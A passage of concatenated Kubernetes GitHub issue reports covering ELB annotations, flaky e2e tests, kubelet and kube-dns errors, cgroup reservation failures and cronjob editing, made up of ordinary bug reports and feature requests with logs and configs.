i am running a kubernetes 1.7.0 cluster on aws managed by kops. i have seen at least 2 scenarios where listeners of an elb created for a  loadbalancer  type service is not configured properly.\r \r case 1:\r i have a loadbalancer type service without any aws specific annotations. then i apply the following annotations:\r - \ service.beta.kubernetes.io/aws-load-balancer-ssl-ports\ : \ 443\ ,\r - \ service.beta.kubernetes.io/aws-load-balancer-ssl-cert\ : \ arn:aws:acm:...\ ,\r - \ service.beta.kubernetes.io/aws-load-balancer-backend-protocol\ : \ http\ \r \r i see that elb does not have certificate configured properly on listener for 443.\r \r case 2:\r i have a loadbalancer type service without any aws specific annotations. then i apply the following annotations:\r - \ service.beta.kubernetes.io/aws-load-balancer-ssl-cert\ : \ arn:aws:acm:...\ ,\r \r then i updated it to have the above 3 annotations and also added port 443 -> 80 on the service. i see that listener for port 80 is not configured as http protocol and correct nodeport.\r \r 

flaky job: pr:pull-kubernetes-e2e-gce-etcd3  flakes in the past week:   122    consistency:   85.90%         flakiest tests by flake count: | test | flake count | | --- | --- | |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | 44 | |  sig-cli  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  | 34 | |  sig-api-machinery  garbage collector should delete jobs and pods created by cronjob | 33 |  /assign @bprashanth @sttts   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | | sttts |  sig-cli  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  | | sig/apps |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | | sig/cli |  sig-cli  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

feature request  :\r \r  \r allow the metadata in a  volumeclaimtemplate  of a statefulset to be updated, at least in order to be able to change the labels.\r \r   what happened  :\r \r when adding labels to a  volumeclaimtemplate  of an existing statefulset the following error is returned when applying the changes:\r \r    \r spec: forbidden: updates to statefulset spec for fields other than 'replicas', 'template', and 'updatestrategy' are forbidden.\r    \r \r   what you expected to happen  :\r \r the labels to be modified on the  volumeclaimtemplate  and the  persistent volume claims  created for the statefulset.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a statefulset with a  volumeclaimtemplate  without labels.\r - add labels to the  volumeclaimtemplate  and reapply the statefulset manifest.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   1.8.4-gke.1  \r - cloud provider or hardware configuration:\r   kubernetes engine

 \r unprivileged containers mount  /proc  read-only, which prevents them from enabling  net.ipv4.ip_forward  in their own network namespace. having the ability to enable  net.ipv4.ip_forward  for specific containers  without running them in  privileged  mode  would be useful for containers that implement routing functionality.\r \r i tested that enabling  net.ipv4.ip_forward  in the container's namespace works as expected. to try it out, run the following on the kubelet:\r \r    sh\r sudo nsenter -t \\\r     $ docker inspect --format '{{.state.pid}}' $container_name  \\\r     -n sysctl -w net.ipv4.ip_forward=1\r

\r  \r \r \r   what happened  :\r kubelet fails after  kubeadm reset \r \r   what you expected to happen  :\r i expect to be able to run  kubeadm init  again after  kubeadm reset , but got failing kubelet healthcheck during  kubeadm init  \r \r   how to reproduce it  as minimally and precisely as possible   :\r run  kubeadm init , then  kubectl drain master0 --delete-local-data=true --force --ignore-daemonsets , then  kubeadm reset  and then  kubectl status kubelet . \r \r if i simply restart kubelet service, it goes back to starting state like it should be after first installation of kubelet if i undesrtand correctly. i think it's an easy fix, just to add  kubectl restart kubelet  to the end of  kubeadm reset  logic\r \r \r

is this a bug report or feature request?  :\r bug\r \r \r   what happened  :\r seeing errors in kube dns logs. happens randomly for a minute and things start working fine after that. happens atleast twice a day.\r \r   logs  \r    \r i0804 04:55:03.399155       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:49635: sendmsg: invalid argument\ \r i0804 04:55:03.402151       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:31592: sendmsg: invalid argument\ \r i0804 04:55:03.406972       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:19990: sendmsg: invalid argument\ \r i0804 04:55:03.453005       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:34728: sendmsg: invalid argument\ \r i0804 04:55:03.455250       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:3617: sendmsg: invalid argument\ \r i0804 04:55:03.468915       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:54000: sendmsg: invalid argument\ \r i0804 04:55:03.469263       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:35533: sendmsg: invalid argument\ \r i0804 04:55:03.470293       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:25813: sendmsg: invalid argument\ \r i0804 04:55:03.470475       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:16582: sendmsg: invalid argument\ \r i0804 04:55:03.470565       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:62002: sendmsg: invalid argument\ \r i0804 04:55:03.506093       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:60521: sendmsg: invalid argument\ \r i0804 04:55:03.510177       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:37393: sendmsg: invalid argument\ \r i0804 04:55:03.564147       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:32353: sendmsg: invalid argument\ \r i0804 04:55:03.580297       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:55905: sendmsg: invalid argument\ \r i0804 04:55:06.015029       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:7143: sendmsg: invalid argument\ \r i0804 04:55:10.636486       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:7779: sendmsg: invalid argument\ \r i0804 04:55:15.924357       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:5195: sendmsg: invalid argument\ \r i0804 04:55:16.765978       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:15989: sendmsg: invalid argument\ \r i0804 04:55:16.780439       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:12029: sendmsg: invalid argument\ \r i0804 04:55:18.837547       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:39970: sendmsg: invalid argument\ \r i0804 04:55:18.865663       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:18862: sendmsg: invalid argument\ \r i0804 04:55:18.866104       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:56815: sendmsg: invalid argument\ \r i0804 04:55:18.893371       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:4536: sendmsg: invalid argument\ \r i0804 04:55:18.894658       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:55537: sendmsg: invalid argument\ \r i0804 04:55:18.932111       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:161: sendmsg: invalid argument\ \r i0804 04:55:19.029197       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:33997: sendmsg: invalid argument\ \r i0804 04:55:19.029372       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:56742: sendmsg: invalid argument\ \r i0804 04:55:19.068999       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:30626: sendmsg: invalid argument\ \r i0804 04:55:19.110199       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:42366: sendmsg: invalid argument\ \r i0804 04:55:19.466510       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:14503: sendmsg: invalid argument\ \r i0804 04:55:19.580178       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:30803: sendmsg: invalid argument\ \r i0804 04:55:20.303912       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:38595: sendmsg: invalid argument\ \r i0804 04:55:20.365553       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:18429: sendmsg: invalid argument\ \r i0804 04:55:20.496254       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:65267: sendmsg: invalid argument\ \r i0804 04:55:20.516153       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:13379: sendmsg: invalid argument\ \r i0804 04:55:20.516526       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:20739: sendmsg: invalid argument\ \r i0804 04:55:21.460120       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:30874: sendmsg: invalid argument\ \r i0804 04:55:21.947945       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:7724: sendmsg: invalid argument\ \r i0804 04:55:21.948293       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:19903: sendmsg: invalid argument\ \r i0804 04:55:22.904167       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:15352: sendmsg: invalid argument\ \r i0804 04:55:23.340715       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:20510: sendmsg: invalid argument\ \r i0804 04:55:23.342416       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:21115: sendmsg: invalid argument\ \r i0804 04:55:23.423019       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:56761: sendmsg: invalid argument\ \r i0804 04:55:23.660406       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:38829: sendmsg: invalid argument\ \r i0804 04:55:23.726401       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:20048: sendmsg: invalid argument\ \r i0804 04:55:24.449319       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:31621: sendmsg: invalid argument\ \r i0804 04:55:24.450190       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:44880: sendmsg: invalid argument\ \r i0804 04:55:24.560103       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:6849: sendmsg: invalid argument\ \r i0804 04:55:25.364517       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:42442: sendmsg: invalid argument\ \r i0804 04:55:25.394284       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:9213: sendmsg: invalid argument\ \r i0804 04:55:25.429932       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:48128: sendmsg: invalid argument\ \r i0804 04:55:25.434229       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:18101: sendmsg: invalid argument\ \r i0804 04:55:25.507033       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:56883: sendmsg: invalid argument\ \r i0804 04:55:25.522550       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:35154: sendmsg: invalid argument\ \r i0804 04:55:25.661197       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:19350: sendmsg: invalid argument\ \r i0804 04:55:25.789038       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:63863: sendmsg: invalid argument\ \r i0804 04:55:25.832095       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:56343: sendmsg: invalid argument\ \r i0804 04:55:26.284651       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:28496: sendmsg: invalid argument\ \r i0804 04:55:26.302618       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:9511: sendmsg: invalid argument\ \r i0804 04:55:26.304897       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:37873: sendmsg: invalid argument\ \r i0804 04:55:26.326724       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:60144: sendmsg: invalid argument\ \r i0804 04:55:26.383892       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:50620: sendmsg: invalid argument\ \r i0804 04:55:26.384188       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:32704: sendmsg: invalid argument\ \r i0804 04:55:26.385760       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:50973: sendmsg: invalid argument\ \r i0804 04:55:27.108174       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:23276: sendmsg: invalid argument\ \r i0804 04:55:28.296847       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:26517: sendmsg: invalid argument\ \r i0804 04:55:31.111761       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:58953: sendmsg: invalid argument\ \r i0804 04:55:33.147370       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:23397: sendmsg: invalid argument\ \r i0804 04:55:33.653036       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:18414: sendmsg: invalid argument\ \r i0804 04:55:33.653640       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:15393: sendmsg: invalid argument\ \r i0804 04:55:34.761104       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:818: sendmsg: invalid argument\ \r i0804 04:55:35.828137       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:3787: sendmsg: invalid argument\ \r i0804 04:57:00.075034       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:2673: sendmsg: invalid argument\ \r i0804 04:57:00.075521       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:28538: sendmsg: invalid argument\ \r i0804 04:57:00.101002       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:8660: sendmsg: invalid argument\ \r i0804 04:57:00.112520       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:62788: sendmsg: invalid argument\ \r i0804 04:57:00.501127       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:22822: sendmsg: invalid argument\ \r i0804 04:57:00.541720       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:4451: sendmsg: invalid argument\ \r i0804 04:57:00.717337       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:49397: sendmsg: invalid argument\ \r i0804 04:57:00.746221       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:25338: sendmsg: invalid argument\ \r i0804 04:57:02.760103       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:23124: sendmsg: invalid argument\ \r i0804 04:57:02.768237       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:48346: sendmsg: invalid argument\ \r i0804 04:57:02.768460       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:58815: sendmsg: invalid argument\ \r i0804 04:57:02.773147       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:39351: sendmsg: invalid argument\ \r i0804 04:57:02.799109       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:36304: sendmsg: invalid argument\ \r i0804 04:57:02.903055       1 logs.go:41  skydns: failure to return reply \ write udp  :: :10053->127.0.0.1:45889: sendmsg: invalid argument\ \r \r    \r \r   environment  :\r - kubernetes version : v1.10.5-gke.0\r - cloud provider or hardware configuration: gke\r \r  @kubernetes/sig-network

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : we're seeing all sorts of these errors in our logs:\r    \r {\r  insertid:  \ 1iea4wwf5u75hg\   \r  logname:  \ projects/<redacted>/logs/stderr\   \r  metadata: {\r   systemlabels: {\r    container_image:  \ k8s.gcr.io/fluentd-gcp-scaler:0.3\     \r    container_image_id:  \ docker-pullable://k8s.gcr.io/fluentd-gcp-scaler@sha256:bfd8ffbadf5cbfc7cd0944f5c13aaa8da421e3ab2322d610e64c4d7de9424c29\     \r    name:  \ fluentd-gcp-scaler\     \r    node_name:  \ gke-asdfasdf-n1-standard-1-pree-297e53d8-nf9r\     \r    provider_instance_id:  \ 7148902594560237433\     \r    provider_resource_type:  \ gce_instance\     \r    provider_zone:  \ <redacted>\     \r    top_level_controller_name:  \ fluentd-gcp-scaler\     \r    top_level_controller_type:  \ deployment\     \r   }\r   userlabels: {\r    k8s-app:  \ fluentd-gcp-scaler\     \r    pod-template-hash:  \ 3924058227\     \r   }\r  }\r  receivetimestamp:  \ 2018-12-09t01:29:32.469635534z\   \r  resource: {\r   labels: {\r    cluster_name:  \ <redacted>\     \r    container_name:  \ fluentd-gcp-scaler\     \r    location:  \ <redacted>\     \r    namespace_name:  \ kube-system\     \r    pod_name:  \ fluentd-gcp-scaler-7f6849d66c-gs82c\     \r    project_id:  \ <redacted>\     \r   }\r   type:  \ k8s_container\    \r  }\r  severity:  \ error\   \r  textpayload:  \ error from server  notfound : scalingpolicies.scalingpolicy.kope.io \ fluentd-gcp-scaling-policy\  not found\r \   \r  timestamp:  \ 2018-12-09t01:29:29z\   \r }\r    \r \r if i use the following \ advanced search\  in stackdriver  textpayload = \ error from server  notfound : scalingpolicies.scalingpolicy.kope.io \\\ fluentd-gcp-scaling-policy\\\  not found\ \  , i see hundreds of these.\r \r   what you expected to happen  : gke to work as advertised without producing hundreds of errors.\r \r   how to reproduce it  as minimally and precisely as possible   : run a gke cluster. look at the logs.\r \r   anything else we need to know?  :  \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.3-gke.18\ , gitcommit:\ 35471a6a3958f610351c67208de0f3824c4e8b3d\ , gittreestate:\ clean\ , builddate:\ 2018-11-14t05:27:44z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : container-optimized os  cos \r - kernel  e.g.  uname -a  : unknown\r - install tools: n/a\r - others: n/a\r \r <!-- do not edit below this line -->\r 

start kubelet with below config:\r    \r   root@k8s-node-prod-2:~  cat/etc/systemd/system/kubelet.service\r description=kubernetes kubelet\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=docker.service\r requires=docker.service\r  service \r workingdirectory=/var/lib/kubelet\r execstart=/usr/local/bin/kubelet \\\r   --address=10.x.x.x \\\r   --hostname-override=10.x.x.x \\\r   --cluster-dns=10.x.x.x \\\r   --experimental-bootstrap-kubeconfig=/etc/kubernetes/bootstrap.kubeconfig \\\r   --kubeconfig=/etc/kubernetes/kubelet.kubeconfig \\\r   --cert-dir=/etc/kubernetes/ssl \\\r   --cluster-domain=cluster.local. \\\r   --hairpin-mode promiscuous-bridge \\\r   --allow-privileged=true \\\r   --serialize-image-pulls=false \\\r   --logtostderr=true \\\r   --v=2 \\\r   --cgroup-driver=systemd \\\r   --cgroups-per-qos=true \\\r   --kube-reserved-cgroup=/podruntime.slice \\\r   --enforce-node-allocatable=pods,kube-reserved \\\r   --kube-reserved=cpu=500m,memory=500mi,ephemeral-storage=10gi \r   \r restart=on-failure\r restartsec=5\r  install \r wantedby=multi-user.target\r    \r podruntime.slice  with below config:\r    \r   root@k8s-node-prod-2:~  cat /lib/systemd/system/podruntime.slice\r  unit \r description=limited resources slice for kubernetes services\r documentation=man:systemd.special 7 \r defaultdependencies=no\r before=slices.target\r requires=-.slice\r after=-.slice\r    \r check the podruntime.slice  cgroup, get the following output:\r    \r  root@k8s-node-prod-2:~  systemctl status podruntime.slice\r ● podruntime.slice - limited resources slice for kubernetes services\r    loaded: loaded  /lib/systemd/system/podruntime.slice; static; vendor preset: enabled \r    active: active since sun 2019-06-02 11:29:57 cst; 42min ago\r      docs: man:systemd.special 7 \r     tasks: 0\r    memory: 0b\r       cpu: 0\r    cgroup: /podruntime.slice\r \r jun 02 11:29:57 k8s-node-prod-2 systemd 1 : created slice limited resources slice for kubernetes services.\r    \r then, start kubelet.service, run  journalctl -u kubelet.service  -f   as follows:\r    \r jun 02 12:36:40 k8s-node-prod-2 kubelet 73505 : i0602 12:36:40.187096   73505 node_container_manager_linux.go:114  enforcing kube reserved on cgroup \ /podruntime.slice\  with limits: map cpu:{i:{value:500 scale:-3} d:{dec:<nil>} s:500m format:decimalsi} ephemeral-storage:{i:{value:10737418240 scale:0} d:{dec:<nil>} s:10gi format:binarysi} memory:{i:{value:524288000 scale:0} d:{dec:<nil>} s:500mi format:binarysi} \r jun 02 12:36:40 k8s-node-prod-2 kubelet 73505 : f0602 12:36:40.187428   73505 kubelet.go:1359  failed to start containermanager failed to enforce kube reserved cgroup limits on \ /podruntime.slice\ :  \ podruntime.slice\   cgroup does not exist\r jun 02 12:36:40 k8s-node-prod-2 systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r jun 02 12:36:40 k8s-node-prod-2 systemd 1 : kubelet.service: unit entered failed state.\r jun 02 12:36:40 k8s-node-prod-2 systemd 1 : kubelet.service: failed with result 'exit-code'.\r jun 02 12:36:45 k8s-node-prod-2 systemd 1 : kubelet.service: service hold-off time over, scheduling restart.\r    \r   \ podruntime.slice\   cgroup does not exist \r why?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.1\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  :  smp debian 4.9.30-2+deb9u2  2017-06-26  x86_64 gnu/linux\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

i see _a lot_ following messages in the syslog.      feb 11 01:15:04 ip-10-72-9-107 kubelet 105374 : i0211 01:15:04.853346  105374 fshandler.go:87  failed to collect filesystem stats - du command failed on /var/lib/docker/aufs/diff/12c808bae54d75bd77d70e3b385d9b135cbea8d5eaefcd2f4843c20c4837191d with output du: cannot access '/var/lib/docker/aufs/diff/12c808bae54d75bd77d70e3b385d9b135cbea8d5eaefcd2f4843c20c4837191d': no such file or directory feb 11 01:15:04 ip-10-72-9-107 kubelet 105374 : - exit status 1 feb 11 01:15:05 ip-10-72-9-107 kubelet 105374 : i0211 01:15:05.024620  105374 fshandler.go:87  failed to collect filesystem stats - du command failed on /var/lib/docker/aufs/diff/b3789ca65e6b866df82b42fb373f65008045ef6b72369f829f55db315805adca with output du: cannot access '/var/lib/docker/aufs/diff/b3789ca65e6b866df82b42fb373f65008045ef6b72369f829f55db315805adca': no such file or directory feb 11 01:15:05 ip-10-72-9-107 kubelet 105374 : - exit status 1 feb 11 01:15:05 ip-10-72-9-107 kubelet 105374 : i0211 01:15:05.182973  105374 fshandler.go:87  failed to collect filesystem stats - du command failed on /var/lib/docker/aufs/diff/de33df43d9539e13187008a6cf80ebee30705639467edfa99bcfcbaf4b017794 with output du: cannot access '/var/lib/docker/aufs/diff/de33df43d9539e13187008a6cf80ebee30705639467edfa99bcfcbaf4b017794': no such file or directory feb 11 01:15:05 ip-10-72-9-107 kubelet 105374 : - exit status 1      these  ../aufs/diff/..  paths do not exist on disk, however, kubelet seems to keep trying sync them up. i believe it drives the cpu usage to above 200%. one remedy i found is to:  service kubelet restart , this drops cpu load and stops logs, however, just in few minutes time, i see the issue slowing creeping back.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-slow/5966/  failed:  k8s.io  pod disks should schedule a pod w/ a rw pd, gracefully remove it, then schedule it on another host  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:196 failed to delete host0pod expected error:     < errors.statuserror | 0xc820a02180>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server does not allow access to the requested resource  delete pods pd-test-06343373-3ea9-11e6-898b-0242ac11000f \ ,             reason: \ forbidden\ ,             details: {                 name: \ pd-test-06343373-3ea9-11e6-898b-0242ac11000f\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ forbidden: \\\ /api/v1/namespaces/e2e-tests-pod-disks-9po40/pods/pd-test-06343373-3ea9-11e6-898b-0242ac11000f\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 403,         },     }     the server does not allow access to the requested resource  delete pods pd-test-06343373-3ea9-11e6-898b-0242ac11000f  not to have occurred

hi~  scheduler resources compute algorithm is useful everywhere.   make scheduler to a single component and provide http api to used.  is it well?

is this a request for help?   i guess yes, but i didn't find any information to troubleshoot this issue either in docs or in google groups.\r \r   what keywords did you search in kubernetes issues before filing this one?   : kubectl aws cannot expose deployment, service pending ip\r \r   kubernetes version  : 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : aws  ec2 on auto scaling group + elastic load balancer in front of \r -   os   : ubuntu 16.04 xenial\r -   kernel  : 4.4.0-57-generic\r -   docker  : 1.12.5\r -   install tools  : i initialized my cluster through kubeadm as mentioned in  official guide  https://kubernetes.io/docs/getting-started-guides/kubeadm/ . so, i installed cluster not through kops, cause i want to keep hardware state outside and keep custom os configuration.\r \r   what happened  :\r \r cluster state: 1 master + 2 nodes\r \r    \r name                               status         age\r cluster-manager.dev.example.net   ready,master   1d\r dev-1.example.net                 ready          1d\r dev-2.example.net                 ready          1d\r    \r \r _  goals:  _ \r \r 1. expose deployment pods network access to special bind address  at first try 0.0.0.0  and port  here is 80 . so, simpler, the docker-proxy should open 80 port on node for pod.\r 2. pin deployment pods to the same dns name  didn't think much about its implementation cause i'm getting stuck on the first goal .\r \r after initialization and double check network connections established  using weave , i initialized my first deployment.\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     tier: frontend\r     environment: dev\r     product: nginx\r   name: proxy\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: proxy\r     spec:\r       containers:\r       - name: proxy\r         image: reg.example.net/proxy:0.1\r         ports:\r         - containerport: 80\r         resources:\r           requests:\r             cpu: 0.05\r             memory: 128m\r       imagepullsecrets:\r       - name: example-registry\r    \r \r it runs correct.\r \r    \r  cazorla19@localhost dev $ kubectl get pods\r name                     ready     status    restarts   age\r proxy-3357623934-5v5rw   1/1       running   0          1h\r proxy-3357623934-rms19   1/1       running   0          1h\r    \r \r but i cannot expose containers the way k8s doing. as mentioned in docs, i created the service for deployments. cannot get external ip address and finally containers are closed with no way to reach even at local host. 80 port is not opened on deployment pods.\r \r   what you expected to happen  : having deployment pods with 80 port exposed and shared dns address assigned by kube-dns.\r \r   how to reproduce it  :\r \r i tried to expose deployment 2 ways. the first one:\r \r    \r  cazorla19@localhost dev $ kubectl expose deployment proxy --port=80 --target-port=80\r service \ proxy\  exposed\r  cazorla19@localhost dev $ kubectl get service proxy \r name      cluster-ip      external-ip   port s    age\r proxy     10.111.15.130   <none>        80/tcp    1m\r    \r \r the second one:\r \r    \r  cazorla19@localhost dev $ kubectl expose deployment proxy --port=80 --target-port=80 --type=loadbalancer\r service \ proxy\  exposed\r  cazorla19@localhost dev $ kubectl get service proxy \r name      cluster-ip    external-ip   port s         age\r proxy     10.102.8.95   <pending>     80:30728/tcp   44s\r    \r \r i see the external ip is pending but cannot figure out why.\r \r checking containers if the 80 port open.\r \r    \r ubuntu@dev-1:~$ docker ps | grep 'reg.example.net/proxy'\r 72c0478c7567        reg.example.net/proxy:0.1                         \ nginx -g 'daemon off\    11 hours ago        up 11 hours                             k8s_proxy.9388b000_proxy-3357623934-vvm27_default_17d49c4a-d8e4-11e6-8fb8-02dfdae1a1e9_12209a11\r    \r \r i guess there is a initial configuration mismatch, because i didn't use any iam roles, policies etc. doing a default installation. but unfortunately i don't even know how to debug this issue. so, if you guess where is the hitch might be, please, help.

sig-cluster-lifecycle has decided to phase out the cluster/ directory over the next couple releases in favor of deployment automations maintained outside of the core repo and outside of kubernetes orgs.\r  \r @kubernetes/sig-cluster-lifecycle-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r  kubectl edit cronjob -n production foo  \r \r opens the cronjob ok in the editor, but when i save it i get:\r \r       cronjobs \ foo\  was not valid:\r         : invalid value: \ the edited file failed validation\ : unknown object type \r     schema.groupversionkind{group:\ batch\ , version:\ v2alpha1\ , kind:\ cronjob\ }\r \r i've verified that cronjob is present in the api under batch/v2alpha1.\r \r the cronjob installed without errors initially, using helm.\r \r   what you expected to happen  :\r \r the cronjob to be edited successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just try and edit an existing cronjob?\r \r   anything else we need to know?  :\r \r this previously worked fine, but might be related to moving the cronjob into a namespace. but might not.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 